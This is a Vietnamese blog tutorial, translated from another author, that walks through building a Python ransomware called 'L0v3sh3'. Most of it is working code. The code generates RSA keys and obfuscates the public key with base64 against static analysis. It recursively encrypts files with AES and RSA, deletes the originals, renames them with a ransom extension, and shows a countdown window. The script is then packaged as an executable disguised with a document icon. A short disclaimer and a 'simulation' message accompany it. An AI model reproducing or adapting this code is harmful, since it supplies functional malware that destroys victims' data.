Tuyên bố từ chối trách nhiệm: Bài viết này chỉ dành cho mục đích nghiên cứu, đừng phá hoại bất kỳ máy tính nào ngoại trừ máy tính của bạn. Nếu bạn cố gắng tạo ra một con ransomware thực sự, thì bạn đang vi phạm pháp luật và bạn sẽ phải ngồi tù. Đi theo chính đạo, tà đạo dễ sa ngã vào con đường tội lỗi lắm nha anh em.
P/s: Bài viết được dịch từ Febi Mudiyanto, và mình sẽ sử dụng ngôi thứ nhất để các bạn dễ hiểu hơn.
Ransomware là gì?
Ransomware giống như phần mềm độc hại hoặc virus máy tính, nhưng với một mục đích là mã hóa dữ liệu và đòi tiền chuộc cho bạn. Dữ liệu của bạn được mã hóa bằng mã hóa bất đối xứng và virus chỉ mã hóa bằng khóa công khai. Có một khóa riêng để giải mã dữ liệu của bạn trở lại, nhưng kẻ tấn công chắc chắn sẽ không đính kèm khóa riêng với virus.
Các bước chuẩn bị để tạo ransomware
Trước khi bạn xây dựng một số chương trình, bạn phải hiểu nó sẽ làm gì. Đây là danh sách các yêu cầu của mình, bạn cũng có thể sử dụng danh sách của riêng mình.
1. Chương trình phải là một tệp thực thi và có icon giống như một tệp tài liệu.
2. Chương trình phải mã hóa dữ liệu bằng khóa công khai
3. Sau khi mã hóa, chương trình phải xóa các tệp gốc và thay đổi phần mở rộng tệp được mã hóa thành “.L0v3sh3”.
4. Chương trình phải hiển thị thông báo có đồng hồ đếm ngược.
Viết chương trình Ransomware
Bước 1 – Tạo khóa cá nhân và khóa công khai
Đoạn code dưới đây dùng để tạo khóa cá nhân (privateKey) và khóa công khai (publicKey). Khá dễ hiểu nên mình sẽ không giải thích thêm.
''' pip install pycryptodome ''' from Crypto.PublicKey import RSA key = RSA.generate(2048) privateKey = key.export_key() publicKey = key.publickey().export_key() # lưu khóa cá nhân vào tệp with open('private.pem', 'wb') as f: f.write(privateKey) # lưu khóa công khai vào tệp with open('public.pem', 'wb') as f: f.write(publicKey) print('Private key saved to private.pem') print('Public key saved to public.pem') print('Done')
Sau khi chạy file genKey.py, bạn sẽ có 2 tệp là private.pem và public.pem. Các bạn nhớ lưu file private.pem một cách an toàn.
Bước 2 – Mã hóa khóa công khai
Mục đích chính của việc mã hóa là làm cho khóa công khai khó xác định bằng cách phân tích phần mềm độc hại dạng tĩnh. Vì vậy, mình mã hóa khóa công khai bằng base64 và đính kèm khóa đó vào code của mình.
Bạn có thể sử dụng đoạn lệnh này:
import base64 code = "aGkgZnJpZW5kcywgdGhpcyBpcyBiYXNlNjQgZW5jb2Rpbmc=" print(base64.b64decode(code))
Vì vậy, bạn có thể mã hóa khóa riêng tư của mình, sau đó giải mã nó trong script.
import base64 with open('public.pem', 'rb') as f: public = f.read() print(base64.b64encode(public))
Bước 3 – Mã hóa một số tệp trong thư mục
def scanRecurse(baseDir): for entry in os.scandir(baseDir): if entry.is_file(): yield entry else: yield from scanRecurse(entry.path)
Hàm trên là một hàm đệ quy để quét các thư mục và trả lại một loạt các tệp được liệt kê cùng đường dẫn. Sau đó, mình sử dụng hàm mã hóa và cung cấp danh sách file đã lấy trước đó.
import base64 import os from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP, AES ''' with open('public.pem', 'rb') as f: public = f.read() print(base64.b64encode(public)) ''' # Mã hóa khóa công khai bằng base64 pubKey = '''LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxZUs0TkppUGlaQ1o0aDRwM2lzNwpyOTdTRGRnaWtrckswNE1sc3oraHY2UmIxKzB2M1hsY296QXVGeGIvMjkxTE5tNGs1M1RZTXQ4M3BPRm9ZRTh4Ckx0VE55UVNSMDR2dzBGcGRwU3Y1YVVjbysxRmtwRjRMdCtqV1Q0YjVrTUFqWTRkOW5Yb3lRQmxJbzBWckMwQzIKcldpeklONGV1TXBTbll3V2Z0a2JsZE5qcDJ1U0hFeWM1Z0FZR1ZKSWZ6TVRiaUxZd0k5aU9rNllnWEozbWJLdAp1dHo2WlRTdlplVzEwaUhrc2JXUXgvcUVjR0JLWFJUbkUvYTJkZVhvRThRaFZOTUV5Z0xVQmF3NERYaWRCbXBiCnFmSWtvZk5UWlQ3K2NyaENocVptYmFrSjA5bTdmT3k1TURud0oraU0wdlBheW1tdGduWnBrR0NQNlpDVDlkeHoKcHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t''' pubKey = base64.b64decode(pubKey) def scanRecurse(baseDir): ''' Quét thư mục và trả về danh sách tất cả các tệp. ''' for entry in os.scandir(baseDir): if entry.is_file(): yield entry else: yield from scanRecurse(entry.path) def encrypt(dataFile, publicKey): ''' sử dụng chế độ EAX để cho phép phát hiện các sửa đổi trái phép ''' # đọc dữ liệu từ tệp with open(dataFile, 'rb') as f: data = f.read() # chuyển đổi dữ liệu sang byte data = bytes(data) # tạo đối tượng khóa công khai key = RSA.import_key(publicKey) sessionKey = os.urandom(16) # mã hóa khóa phiên bằng khóa công khai cipher = PKCS1_OAEP.new(key) encryptedSessionKey = cipher.encrypt(sessionKey) # mã hóa dữ liệu bằng khóa phiên cipher = AES.new(sessionKey, AES.MODE_EAX) ciphertext, tag = cipher.encrypt_and_digest(data) # lưu dữ liệu được mã hóa vào tệp [ fileName, fileExtension ] = dataFile.split('.') encryptedFile = fileName + '_encrypted.' + fileExtension with open(encryptedFile, 'wb') as f: [ f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag, ciphertext) ] print('Encrypted file saved to ' + encryptedFile) fileName = 'test.txt' encrypt(fileName, pubKey)
Và đối với hàm giải mã, bạn có thể sử dụng lệnh dưới đây.
def decrypt(dataFile, privateKeyFile): ''' sử dụng chế độ EAX để cho phép phát hiện các sửa đổi trái phép ''' # đọc khóa cá nhân từ tệp with open(privateKeyFile, 'rb') as f: privateKey = f.read() # create private key object key = RSA.import_key(privateKey) # đọc dữ liệu từ tệp with open(dataFile, 'rb') as f: # read the session key encryptedSessionKey, nonce, tag, ciphertext = [ f.read(x) for x in (key.size_in_bytes(), 16, 16, -1) ] # giải mã khóa phiên cipher = PKCS1_OAEP.new(key) sessionKey = cipher.decrypt(encryptedSessionKey) # giải mã dữ liệu bằng khóa phiên cipher = AES.new(sessionKey, AES.MODE_EAX, nonce) data = cipher.decrypt_and_verify(ciphertext, tag) # lưu dữ liệu đã giải mã vào tệp [ fileName, fileExtension ] = dataFile.split('.') decryptedFile = fileName + '_decrypted.' + fileExtension with open(decryptedFile, 'wb') as f: f.write(data) print('Decrypted file saved to ' + decryptedFile)
Quét tệp, mã hóa tệp đó rồi thay đổi phần mở rộng.
import base64 import os from pathlib import Path from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP, AES # mã hóa khóa công khai bằng base64 pubKey = '''LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxZUs0TkppUGlaQ1o0aDRwM2lzNwpyOTdTRGRnaWtrckswNE1sc3oraHY2UmIxKzB2M1hsY296QXVGeGIvMjkxTE5tNGs1M1RZTXQ4M3BPRm9ZRTh4Ckx0VE55UVNSMDR2dzBGcGRwU3Y1YVVjbysxRmtwRjRMdCtqV1Q0YjVrTUFqWTRkOW5Yb3lRQmxJbzBWckMwQzIKcldpeklONGV1TXBTbll3V2Z0a2JsZE5qcDJ1U0hFeWM1Z0FZR1ZKSWZ6TVRiaUxZd0k5aU9rNllnWEozbWJLdAp1dHo2WlRTdlplVzEwaUhrc2JXUXgvcUVjR0JLWFJUbkUvYTJkZVhvRThRaFZOTUV5Z0xVQmF3NERYaWRCbXBiCnFmSWtvZk5UWlQ3K2NyaENocVptYmFrSjA5bTdmT3k1TURud0oraU0wdlBheW1tdGduWnBrR0NQNlpDVDlkeHoKcHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t''' pubKey = base64.b64decode(pubKey) def scanRecurse(baseDir): ''' Quét một thư mục và trả về danh sách tất cả các tệp ''' for entry in os.scandir(baseDir): if entry.is_file(): yield entry else: yield from scanRecurse(entry.path) def encrypt(dataFile, publicKey): ''' Đầu vào: đường dẫn đến tệp để mã hóa, khóa công khai Đầu ra: tệp được mã hóa với phần mở rộng .L0v3sh3 và xóa tệp gốc sử dụng chế độ EAX để cho phép phát hiện các sửa đổi trái phép ''' # đọc dữ liệu từ tệp extension = dataFile.suffix.lower() dataFile = str(dataFile) with open(dataFile, 'rb') as f: data = f.read() # chuyển đổi dữ liệu sang byte data = bytes(data) # tạo đối tượng khóa công khai key = RSA.import_key(publicKey) sessionKey = os.urandom(16) # mã hóa khóa phiên bằng khóa công khai cipher = PKCS1_OAEP.new(key) encryptedSessionKey = cipher.encrypt(sessionKey) # mã hóa dữ liệu bằng khóa phiên cipher = AES.new(sessionKey, AES.MODE_EAX) ciphertext, tag = cipher.encrypt_and_digest(data) # lưu dữ liệu được mã hóa vào tệp fileName= dataFile.split(extension)[0] fileExtension = '.L0v3sh3' encryptedFile = fileName + fileExtension with open(encryptedFile, 'wb') as f: [ f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag, ciphertext) ] os.remove(dataFile) # thay đổi thư mục thành thư mục của script # giữ an toàn khi thay đổi thư mục, # KHÔNG CHẠY SCRIPT NÀY TRÊN PC CỦA BẠN directory = '../' # THAY ĐỔI CHỖ NÀY excludeExtension = ['.py','.pem', '.exe'] # VỚI ĐỔI CHỖ NÀY for item in scanRecurse(directory): filePath = Path(item) fileType = filePath.suffix.lower() if fileType in excludeExtension: continue encrypt(filePath, pubKey)
Để thử nghiệm, mình sẽ sử dụng thư mục gốc của thư mục chương trình này để quét và mã hóa bằng tập lệnh này.
Đây là thư mục của mình trước khi chạy phần mềm độc hại:
Đây là thư mục của mình sau khi chạy phần mềm độc hại:
Bước 4 – Đồng hồ đếm ngược và lời nhắn sau khi mã hóa xong
Chỉ cần sao chép lệnh dưới và dán vào phần cuối của script.
import tkinter as tk def countdown(count): # thay đổi văn bản trong label # count = '01:30:00' hour, minute, second = count.split(':') hour = int(hour) minute = int(minute) second = int(second) label['text'] = '{}:{}:{}'.format(hour, minute, second) if second > 0 or minute > 0 or hour > 0: # Gọi hàm countdown lại sau 1000ms (1s) if second > 0: second -= 1 elif minute > 0: minute -= 1 second = 59 elif hour > 0: hour -= 1 minute = 59 second = 59 root.after(1000, countdown, '{}:{}:{}'.format(hour, minute, second)) root = tk.Tk() root.title('L0v3sh3 Ransomware') root.geometry('500x300') root.resizable(False, False) label1 = tk.Label(root, text='Your data is under rest, please don\'t pay me,\nthis just simulation !!\n\n', font=('calibri', 12,'bold')) label1.pack() label = tk.Label(root,font=('calibri', 50,'bold'), fg='white', bg='blue') label.pack() # Gọi hàm countdown lần đầu tiên countdown('01:30:00') # root.after(0, countdown, 5) root.mainloop()
Bước cuối cùng – Tạo tệp thực thi với auto-py-to-exe
Bạn có thể tải toàn bộ script tại đây, chỉ cần sao chép nó nhưng đừng quên hiểu những gì bạn đã viết.
Khởi chạy Ransomware
Kết luận
Đây là một dự án nguy hiểm phải không? Hãy cẩn thận khi bạn chạy chương trình, đảm bảo rằng bạn thay đổi thư mục và thử nó trong máy ảo.
Bạn có thể sửa đổi ngược lại, giải mã các tệp .L0v3sh3. Chỉ cần thay đổi hàm mã hóa bằng giải mã.
Để phòng tránh, bạn nên bật chế độ xem tiện ích mở rộng của file để phân biệt được các tệp thực thi khác nhau.